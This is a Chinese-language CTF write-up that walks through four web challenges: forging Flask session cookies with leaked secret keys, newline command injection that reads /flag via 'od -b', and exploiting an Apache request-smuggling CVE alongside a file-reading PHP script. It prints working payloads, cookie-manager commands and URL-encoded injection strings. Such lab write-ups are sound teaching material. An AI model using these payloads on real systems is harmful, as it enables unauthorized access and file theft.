前言
唉,又爆零了,最简单的一道还因为自己少考虑到某些信息没做出来呜呜呜
flask?jwt?
session伪造
进入题目,发现是一个登录界面
那我们就注册个账号登录试试
登录之后出现一个拿flag的按钮
点击后来到/getFlag
路由,回显”不不不,你不是 admin“
这个时候基本可以知道是session伪造了
拿一下cookie中的session解密看看
猜测admin的_user_id
为1
接下来就是去找密钥了
回到登录页面,发现这里还有一个忘记密码的按钮,右下角有个邮箱adm1n@flag.com
(其实这个没什么用)
点击忘记密码来到/changePassword
路由
f12发现secretkey
为th3f1askisfunny
(当时做的时候就是没f12看看才没做出来的555)
于是丢进加密脚本,构造"_user_id":"1"
的session值
注:因为python语法的原因,上面解出来的true要改成True
带着session值来到/getFlag
路由获取flag
flask?jwt?(hard)
session伪造
和第一题一样是session伪造,但是密钥不在/changePassword
路由下了
我们先注册个号登录看看,f12发现hint
访问/wor
返回哼,我不会告诉你我藏哪里了,但是不能什么都不跟你说吧?哎,告诉你上次的登录时间吧: 2023-07-12 08:29:55+00:00
拿到现在的session并丢进脚本解密
python flask_session_cookie_manager3.py decode -c .eJwlzrFqQzEMheFXMZozSLKta_kFCoFuhY5BtmUSSJeb3Cnk3evS8Ry-4X_BZe7-uEJ97oef4HIbUGFE0cFGs5WufaYiqWNmyd3IKJtv2PJmU6UspFNyi32SjkIjZXaTEqdtjUxLYvMk2ZaS1grJwKgofVFBHYQeXWNB7dF9ynC1DivkePj-X8NrPm8_DvUF4e_49nEKxOF83AMjx4Clstacw8fnF7zfv5XkO1Y.ZK5kgw.BFaeOd4JTpB3UNKs3dkZp_Ia-G4
得到结果
b'{"_fresh":true,"_id":"d369d2a1fb8c9cf4864c05265ca1a15ae70b57af968a1f9f65b3cf19d81d452ea683fa7b1a9842ae465a9f66bb816d03906c81d609d10e3e93809c3eef6de9ac","_user_id":"2","time":{" d":"Wed, 12 Jul 2023 08:29:55 GMT"}}'
接下来就是要找密钥了,但是上哪找呢?这个时候就要考虑看看还有没有什么遗漏的点,除去已知的几个页面,此时我们还有debug页面的信息没看
因为session含有time
属性,所以猜测这个时间是从session中读取,于是瞎改session弄出debug报错页面
点开下面的注释,发现secret_key在这里,为hardgam3_C0u1d_u_f1ndM3????
带上secret_key把_user_id
改为1,注意:这里外层要改为双引号包括里面改成单引号,true改为True不然会报错
python flask_session_cookie_manager3.py encode -s "hardgam3_C0u1d_u_f1ndM3????" -t "{'fresh':True,'_id':'d369d2a1fb8c9cf4864c05265ca1a15ae70b57af968a1f9f65b3cf19d81d452ea683fa7b1a9842ae465a9f66bb816d03906c81d609d10e3e93809c3eef6de9ac','_user_id':'1','time':{' d':'Wed, 12 Jul 2023 08:29:55 GMT'}}"
带着session值访问/getFlag即可获得flag
ez_factors
换行漏洞+编码读取文件
题目描述:原生 Linux 因数爆破工具。flag在根目录
进入题目,点击Tool,来到/factors/114514
可以发现这里把114514分解出因数了,猜测是命令执行
尝试利用换行符%0a
进行命令执行,发现可行
直接tac /flag
试试,记得/
需要url编码不然会出歧义
看得出来命令执行了,但是只返回了一串数字,猜测只会返回数字
那就尝试用编码读flag
这里使用od
命令,用od -b
以八进制形式输出文件内容,payload建议url编码一下以免出问题(
/factors/114514%0aod%20-b%20%2fflag
扔进赛博厨子解码得到flag
信息收集
进入题目
只回显了It works!
,f12翻了一下没有什么有价值的信息
标题叫信息收集,所以我们直接用dirsearch开扫看看有什么
访问index.php,显示了php源码
<?php
if(isset($_GET['file'])){
echo file_get_contents($_GET['file']);
}
else{
highlight_file(__FILE__);
}
?>
get传参file来读取文件,这里读了几个可能的flag文件名都没有回显
应该没有这么简单,结合题目信息收集,我们再次f12看看有没有什么值得切入的点
在网络中发现Apache的版本是2.4.55,尝试搜索看看有没有什么相关的漏洞
最后发现是CVE-2023-25690 Apache请求走私漏洞
要利用这个漏洞,我们得先读取conf/httpd.conf
的内容
本题中该文件的路径在/usr/local/apache2/conf/httpd.conf
crtl+u格式化一下返回的内容,找到RewriteRule
这里的意思是
RewriteRule
将所有以/nssctf/
开头的请求路径重写为http://backend-server:8080/index.php?id=后接原始请求路径,并将请求代理到后端服务器
ProxyPassReverse
用于修改响应中的Location头信息以确保重定向到正确的URL
于是修改一下参考文章中的利用姿势得到我们的payload
/nssctf/abc%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0a%0d%0aGET%20/flag
回显flag in here!!!Can you see it???
,那就是要我们加个后缀
测试了一下,最终发现是flag.txt
得到flag